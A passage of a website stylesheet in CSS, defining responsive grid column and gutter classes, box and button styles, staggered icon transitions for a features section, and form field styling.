margin: 2em 0;
}
hr.major {
margin: 3em 0;
}
.align-left {
text-align: left;
}
.align-center {
text-align: center;
}
.align-right {
text-align: right;
}
/* Row */
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp {
order: -1;
}
.row > .col-1 {
width: 8.33333%;
}
.row > .off-1 {
margin-left: 8.33333%;
}
.row > .col-2 {
width: 16.66667%;
}
.row > .off-2 {
margin-left: 16.66667%;
}
.row > .col-3 {
width: 25%;
}
.row > .off-3 {
margin-left: 25%;
}
.row > .col-4 {
width: 33.33333%;
}
.row > .off-4 {
margin-left: 33.33333%;
}
.row > .col-5 {
width: 41.66667%;
}
.row > .off-5 {
margin-left: 41.66667%;
}
.row > .col-6 {
width: 50%;
}
.row > .off-6 {
margin-left: 50%;
}
.row > .col-7 {
width: 58.33333%;
}
.row > .off-7 {
margin-left: 58.33333%;
}
.row > .col-8 {
width: 66.66667%;
}
.row > .off-8 {
margin-left: 66.66667%;
}
.row > .col-9 {
width: 75%;
}
.row > .off-9 {
margin-left: 75%;
}
.row > .col-10 {
width: 83.33333%;
}
.row > .off-10 {
margin-left: 83.33333%;
}
.row > .col-11 {
width: 91.66667%;
}
.row > .off-11 {
margin-left: 91.66667%;
}
.row > .col-12 {
width: 100%;
}
.row > .off-12 {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
@media screen and (max-width: 1680px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-xlarge {
order: -1;
}
.row > .col-1-xlarge {
width: 8.33333%;
}
.row > .off-1-xlarge {
margin-left: 8.33333%;
}
.row > .col-2-xlarge {
width: 16.66667%;
}
.row > .off-2-xlarge {
margin-left: 16.66667%;
}
.row > .col-3-xlarge {
width: 25%;
}
.row > .off-3-xlarge {
margin-left: 25%;
}
.row > .col-4-xlarge {
width: 33.33333%;
}
.row > .off-4-xlarge {
margin-left: 33.33333%;
}
.row > .col-5-xlarge {
width: 41.66667%;
}
.row > .off-5-xlarge {
margin-left: 41.66667%;
}
.row > .col-6-xlarge {
width: 50%;
}
.row > .off-6-xlarge {
margin-left: 50%;
}
.row > .col-7-xlarge {
width: 58.33333%;
}
.row > .off-7-xlarge {
margin-left: 58.33333%;
}
.row > .col-8-xlarge {
width: 66.66667%;
}
.row > .off-8-xlarge {
margin-left: 66.66667%;
}
.row > .col-9-xlarge {
width: 75%;
}
.row > .off-9-xlarge {
margin-left: 75%;
}
.row > .col-10-xlarge {
width: 83.33333%;
}
.row > .off-10-xlarge {
margin-left: 83.33333%;
}
.row > .col-11-xlarge {
width: 91.66667%;
}
.row > .off-11-xlarge {
margin-left: 91.66667%;
}
.row > .col-12-xlarge {
width: 100%;
}
.row > .off-12-xlarge {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 1280px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-large {
order: -1;
}
.row > .col-1-large {
width: 8.33333%;
}
.row > .off-1-large {
margin-left: 8.33333%;
}
.row > .col-2-large {
width: 16.66667%;
}
.row > .off-2-large {
margin-left: 16.66667%;
}
.row > .col-3-large {
width: 25%;
}
.row > .off-3-large {
margin-left: 25%;
}
.row > .col-4-large {
width: 33.33333%;
}
.row > .off-4-large {
margin-left: 33.33333%;
}
.row > .col-5-large {
width: 41.66667%;
}
.row > .off-5-large {
margin-left: 41.66667%;
}
.row > .col-6-large {
width: 50%;
}
.row > .off-6-large {
margin-left: 50%;
}
.row > .col-7-large {
width: 58.33333%;
}
.row > .off-7-large {
margin-left: 58.33333%;
}
.row > .col-8-large {
width: 66.66667%;
}
.row > .off-8-large {
margin-left: 66.66667%;
}
.row > .col-9-large {
width: 75%;
}
.row > .off-9-large {
margin-left: 75%;
}
.row > .col-10-large {
width: 83.33333%;
}
.row > .off-10-large {
margin-left: 83.33333%;
}
.row > .col-11-large {
width: 91.66667%;
}
.row > .off-11-large {
margin-left: 91.66667%;
}
.row > .col-12-large {
width: 100%;
}
.row > .off-12-large {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 980px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-medium {
order: -1;
}
.row > .col-1-medium {
width: 8.33333%;
}
.row > .off-1-medium {
margin-left: 8.33333%;
}
.row > .col-2-medium {
width: 16.66667%;
}
.row > .off-2-medium {
margin-left: 16.66667%;
}
.row > .col-3-medium {
width: 25%;
}
.row > .off-3-medium {
margin-left: 25%;
}
.row > .col-4-medium {
width: 33.33333%;
}
.row > .off-4-medium {
margin-left: 33.33333%;
}
.row > .col-5-medium {
width: 41.66667%;
}
.row > .off-5-medium {
margin-left: 41.66667%;
}
.row > .col-6-medium {
width: 50%;
}
.row > .off-6-medium {
margin-left: 50%;
}
.row > .col-7-medium {
width: 58.33333%;
}
.row > .off-7-medium {
margin-left: 58.33333%;
}
.row > .col-8-medium {
width: 66.66667%;
}
.row > .off-8-medium {
margin-left: 66.66667%;
}
.row > .col-9-medium {
width: 75%;
}
.row > .off-9-medium {
margin-left: 75%;
}
.row > .col-10-medium {
width: 83.33333%;
}
.row > .off-10-medium {
margin-left: 83.33333%;
}
.row > .col-11-medium {
width: 91.66667%;
}
.row > .off-11-medium {
margin-left: 91.66667%;
}
.row > .col-12-medium {
width: 100%;
}
.row > .off-12-medium {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 736px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-small {
order: -1;
}
.row > .col-1-small {
width: 8.33333%;
}
.row > .off-1-small {
margin-left: 8.33333%;
}
.row > .col-2-small {
width: 16.66667%;
}
.row > .off-2-small {
margin-left: 16.66667%;
}
.row > .col-3-small {
width: 25%;
}
.row > .off-3-small {
margin-left: 25%;
}
.row > .col-4-small {
width: 33.33333%;
}
.row > .off-4-small {
margin-left: 33.33333%;
}
.row > .col-5-small {
width: 41.66667%;
}
.row > .off-5-small {
margin-left: 41.66667%;
}
.row > .col-6-small {
width: 50%;
}
.row > .off-6-small {
margin-left: 50%;
}
.row > .col-7-small {
width: 58.33333%;
}
.row > .off-7-small {
margin-left: 58.33333%;
}
.row > .col-8-small {
width: 66.66667%;
}
.row > .off-8-small {
margin-left: 66.66667%;
}
.row > .col-9-small {
width: 75%;
}
.row > .off-9-small {
margin-left: 75%;
}
.row > .col-10-small {
width: 83.33333%;
}
.row > .off-10-small {
margin-left: 83.33333%;
}
.row > .col-11-small {
width: 91.66667%;
}
.row > .off-11-small {
margin-left: 91.66667%;
}
.row > .col-12-small {
width: 100%;
}
.row > .off-12-small {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 480px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-xsmall {
order: -1;
}
.row > .col-1-xsmall {
width: 8.33333%;
}
.row > .off-1-xsmall {
margin-left: 8.33333%;
}
.row > .col-2-xsmall {
width: 16.66667%;
}
.row > .off-2-xsmall {
margin-left: 16.66667%;
}
.row > .col-3-xsmall {
width: 25%;
}
.row > .off-3-xsmall {
margin-left: 25%;
}
.row > .col-4-xsmall {
width: 33.33333%;
}
.row > .off-4-xsmall {
margin-left: 33.33333%;
}
.row > .col-5-xsmall {
width: 41.66667%;
}
.row > .off-5-xsmall {
margin-left: 41.66667%;
}
.row > .col-6-xsmall {
width: 50%;
}
.row > .off-6-xsmall {
margin-left: 50%;
}
.row > .col-7-xsmall {
width: 58.33333%;
}
.row > .off-7-xsmall {
margin-left: 58.33333%;
}
.row > .col-8-xsmall {
width: 66.66667%;
}
.row > .off-8-xsmall {
margin-left: 66.66667%;
}
.row > .col-9-xsmall {
width: 75%;
}
.row > .off-9-xsmall {
margin-left: 75%;
}
.row > .col-10-xsmall {
width: 83.33333%;
}
.row > .off-10-xsmall {
margin-left: 83.33333%;
}
.row > .col-11-xsmall {
width: 91.66667%;
}
.row > .off-11-xsmall {
margin-left: 91.66667%;
}
.row > .col-12-xsmall {
width: 100%;
}
.row > .off-12-xsmall {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
/* Box */
.box {
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
margin-bottom: 2em;
padding: 1.5em;
}
.box > :last-child,
.box > :last-child > :last-child,
.box > :last-child > :last-child > :last-child {
margin-bottom: 0;
}
.box.alt {
border: 0;
border-radius: 0;
padding: 0;
}
/* Button */
input[type="submit"],
input[type="reset"],
input[type="button"],
button,
.button {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
-moz-transition: border-color 0.2s ease;
-webkit-transition: border-color 0.2s ease;
-ms-transition: border-color 0.2s ease;
transition: border-color 0.2s ease;
background-color: transparent;
border: solid 1px !important;
border-color: rgba(255, 255, 255, 0.15) !important;
border-radius: 3em;
color: #ffffff !important;
cursor: pointer;
display: inline-block;
font-size: 0.6em;
font-weight: bold;
height: calc(4.75em + 2px);
letter-spacing: 0.25em;
line-height: 4.75em;
outline: 0;
padding: 0 3.75em;
position: relative;
text-align: center;
text-decoration: none;
text-transform: uppercase;
white-space: nowrap;
}
input[type="submit"]:after,
input[type="reset"]:after,
input[type="button"]:after,
button:after,
.button:after {
-moz-transform: scale(0.25);
-webkit-transform: scale(0.25);
-ms-transform: scale(0.25);
transform: scale(0.25);
pointer-events: none;
-moz-transition: opacity 0.2s ease, -moz-transform 0.2s ease;
-webkit-transition: opacity 0.2s ease, -webkit-transform 0.2s ease;
-ms-transition: opacity 0.2s ease, -ms-transform 0.2s ease;
transition: opacity 0.2s ease, transform 0.2s ease;
background: #ffffff;
border-radius: 3em;
content: '';
height: 100%;
left: 0;
opacity: 0;
position: absolute;
top: 0;
width: 100%;
}
input[type="submit"].icon:before,
input[type="reset"].icon:before,
input[type="button"].icon:before,
button.icon:before,
.button.icon:before {
margin-right: 0.75em;
}
input[type="submit"].fit,
input[type="reset"].fit,
input[type="button"].fit,
button.fit,
.button.fit {
width: 100%;
}
input[type="submit"].small,
input[type="reset"].small,
input[type="button"].small,
button.small,
.button.small {
font-size: 0.4em;
}
input[type="submit"].large,
input[type="reset"].large,
input[type="button"].large,
button.large,
.button.large {
font-size: 0.8em;
}
input[type="submit"].primary,
input[type="reset"].primary,
input[type="button"].primary,
button.primary,
.button.primary {
background-color: #ffffff;
color: #312450 !important;
}
input[type="submit"].primary:after,
input[type="reset"].primary:after,
input[type="button"].primary:after,
button.primary:after,
.button.primary:after {
display: none;
}
input[type="submit"].disabled, input[type="submit"]:disabled,
input[type="reset"].disabled,
input[type="reset"]:disabled,
input[type="button"].disabled,
input[type="button"]:disabled,
button.disabled,
button:disabled,
.button.disabled,
.button:disabled {
cursor: default;
opacity: 0.5;
pointer-events: none;
}
input[type="submit"]:hover,
input[type="reset"]:hover,
input[type="button"]:hover,
button:hover,
.button:hover {
border-color: rgba(255, 255, 255, 0.55) !important;
}
input[type="submit"]:hover:after,
input[type="reset"]:hover:after,
input[type="button"]:hover:after,
button:hover:after,
.button:hover:after {
opacity: 0.05;
-moz-transform: scale(1);
-webkit-transform: scale(1);
-ms-transform: scale(1);
transform: scale(1);
}
input[type="submit"]:hover:active,
input[type="reset"]:hover:active,
input[type="button"]:hover:active,
button:hover:active,
.button:hover:active {
border-color: #ffffff !important;
}
input[type="submit"]:hover:active:after,
input[type="reset"]:hover:active:after,
input[type="button"]:hover:active:after,
button:hover:active:after,
.button:hover:active:after {
opacity: 0.1;
}
/* Features */
.features {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-wrap: wrap;
-webkit-flex-wrap: wrap;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
background: rgba(255, 255, 255, 0.05);
margin: 0 0 2em 0;
}
.features section {
padding: 3.5em 3em 1em 7em ;
width: 50%;
border-top: solid 1px rgba(255, 255, 255, 0.15);
position: relative;
}
.features section:nth-child(-n + 2) {
border-top-width: 0;
}
.features section:nth-child(2n) {
border-left: solid 1px rgba(255, 255, 255, 0.15);
}
.features section .icon {
-moz-transition: opacity 0.5s ease, -moz-transform 0.5s ease;
-webkit-transition: opacity 0.5s ease, -webkit-transform 0.5s ease;
-ms-transition: opacity 0.5s ease, -ms-transform 0.5s ease;
transition: opacity 0.5s ease, transform 0.5s ease;
-moz-transition-delay: 1s;
-webkit-transition-delay: 1s;
-ms-transition-delay: 1s;
transition-delay: 1s;
-moz-transform: scale(1);
-webkit-transform: scale(1);
-ms-transform: scale(1);
transform: scale(1);
position: absolute;
left: 3em;
top: 3em;
opacity: 1;
}
.features section:nth-child(1) .icon {
-moz-transition-delay: 0.15s;
-webkit-transition-delay: 0.15s;
-ms-transition-delay: 0.15s;
transition-delay: 0.15s;
}
.features section:nth-child(2) .icon {
-moz-transition-delay: 0.3s;
-webkit-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
transition-delay: 0.3s;
}
.features section:nth-child(3) .icon {
-moz-transition-delay: 0.45s;
-webkit-transition-delay: 0.45s;
-ms-transition-delay: 0.45s;
transition-delay: 0.45s;
}
.features section:nth-child(4) .icon {
-moz-transition-delay: 0.6s;
-webkit-transition-delay: 0.6s;
-ms-transition-delay: 0.6s;
transition-delay: 0.6s;
}
.features section:nth-child(5) .icon {
-moz-transition-delay: 0.75s;
-webkit-transition-delay: 0.75s;
-ms-transition-delay: 0.75s;
transition-delay: 0.75s;
}
.features section:nth-child(6) .icon {
-moz-transition-delay: 0.9s;
-webkit-transition-delay: 0.9s;
-ms-transition-delay: 0.9s;
transition-delay: 0.9s;
}
.features section:nth-child(7) .icon {
-moz-transition-delay: 1.05s;
-webkit-transition-delay: 1.05s;
-ms-transition-delay: 1.05s;
transition-delay: 1.05s;
}
.features section:nth-child(8) .icon {
-moz-transition-delay: 1.2s;
-webkit-transition-delay: 1.2s;
-ms-transition-delay: 1.2s;
transition-delay: 1.2s;
}
.features section:nth-child(9) .icon {
-moz-transition-delay: 1.35s;
-webkit-transition-delay: 1.35s;
-ms-transition-delay: 1.35s;
transition-delay: 1.35s;
}
.features section:nth-child(10) .icon {
-moz-transition-delay: 1.5s;
-webkit-transition-delay: 1.5s;
-ms-transition-delay: 1.5s;
transition-delay: 1.5s;
}
.features section:nth-child(11) .icon {
-moz-transition-delay: 1.65s;
-webkit-transition-delay: 1.65s;
-ms-transition-delay: 1.65s;
transition-delay: 1.65s;
}
.features section:nth-child(12) .icon {
-moz-transition-delay: 1.8s;
-webkit-transition-delay: 1.8s;
-ms-transition-delay: 1.8s;
transition-delay: 1.8s;
}
.features section:nth-child(13) .icon {
-moz-transition-delay: 1.95s;
-webkit-transition-delay: 1.95s;
-ms-transition-delay: 1.95s;
transition-delay: 1.95s;
}
.features section:nth-child(14) .icon {
-moz-transition-delay: 2.1s;
-webkit-transition-delay: 2.1s;
-ms-transition-delay: 2.1s;
transition-delay: 2.1s;
}
.features section:nth-child(15) .icon {
-moz-transition-delay: 2.25s;
-webkit-transition-delay: 2.25s;
-ms-transition-delay: 2.25s;
transition-delay: 2.25s;
}
.features section:nth-child(16) .icon {
-moz-transition-delay: 2.4s;
-webkit-transition-delay: 2.4s;
-ms-transition-delay: 2.4s;
transition-delay: 2.4s;
}
.features section:nth-child(17) .icon {
-moz-transition-delay: 2.55s;
-webkit-transition-delay: 2.55s;
-ms-transition-delay: 2.55s;
transition-delay: 2.55s;
}
.features section:nth-child(18) .icon {
-moz-transition-delay: 2.7s;
-webkit-transition-delay: 2.7s;
-ms-transition-delay: 2.7s;
transition-delay: 2.7s;
}
.features section:nth-child(19) .icon {
-moz-transition-delay: 2.85s;
-webkit-transition-delay: 2.85s;
-ms-transition-delay: 2.85s;
transition-delay: 2.85s;
}
.features section:nth-child(20) .icon {
-moz-transition-delay: 3s;
-webkit-transition-delay: 3s;
-ms-transition-delay: 3s;
transition-delay: 3s;
}
.features.inactive section .icon {
-moz-transform: scale(0.5);
-webkit-transform: scale(0.5);
-ms-transform: scale(0.5);
transform: scale(0.5);
opacity: 0;
}
@media screen and (max-width: 980px) {
.features {
display: block;
}
.features section {
border-top-width: 1px !important;
border-left-width: 0 !important;
width: 100%;
}
.features section:first-child {
border-top-width: 0 !important;
}
}
@media screen and (max-width: 736px) {
.features section {
padding: 2.5em 1.5em 0.1em 5.5em ;
}
.features section .icon {
left: 1.5em;
top: 2em;
}
}
@media screen and (max-width: 480px) {
.features section {
padding: 2em 1.5em 0.1em 1.5em ;
}
.features section .icon {
left: 0;
position: relative;
top: 0;
}
}
/* Form */
form {
margin: 0 0 2em 0;
}
form > :last-child {
margin-bottom: 0;
}
form > .fields {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-wrap: wrap;
-webkit-flex-wrap: wrap;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
width: calc(100% + 3em);
margin: -1.5em 0 2em -1.5em;
}
form > .fields > .field {
-moz-flex-grow: 0;
-webkit-flex-grow: 0;
-ms-flex-grow: 0;
flex-grow: 0;
-moz-flex-shrink: 0;
-webkit-flex-shrink: 0;
-ms-flex-shrink: 0;
flex-shrink: 0;
padding: 1.5em 0 0 1.5em;
width: calc(100% - 1.5em);
}
form > .fields > .field.half {
width: calc(50% - 0.75em);
}
form > .fields > .field.third {
width: calc(100%/3 - 0.5em);
}
form > .fields > .field.quarter {
width: calc(25% - 0.375em);
}
@media screen and (max-width: 480px) {
form > .fields {
width: calc(100% + 3em);
margin: -1.5em 0 2em -1.5em;
}
form > .fields > .field {
padding: 1.5em 0 0 1.5em;
width: calc(100% - 1.5em);
}
form > .fields > .field.half {
width: calc(100% - 1.5em);
}
form > .fields > .field.third {
width: calc(100% - 1.5em);
}
form > .fields > .field.quarter {
width: calc(100% - 1.5em);
}
}
label {
color: #ffffff;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.7em 0;
display: block;
font-size: 1.1em;
}
input[type="text"],
input[type="password"],
input[type="email"],
input[type="tel"],
select,
textarea {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
background: rgba(255, 255, 255, 0.05);
border-radius: 0.25em;
border: none;
border: solid 1px rgba(255, 255, 255, 0.15);
color: inherit;
display: block;
outline: 0;
padding: 0 1em;
text-decoration: none;
width: 100%;
}
input[type="text"]:invalid,
input[type="password"]:invalid,
input[type="email"]:invalid,
input[type="tel"]:invalid,
select:invalid,
textarea:invalid {
box-shadow: none;
}
input[type="text"]:focus,
input[type="password"]:focus,
input[type="email"]:focus,
input[type="tel"]:focus,
select:focus,
textarea:focus {
border-color: #ffffff;
box-shadow: 0 0 0 1px #ffffff;
}
select {
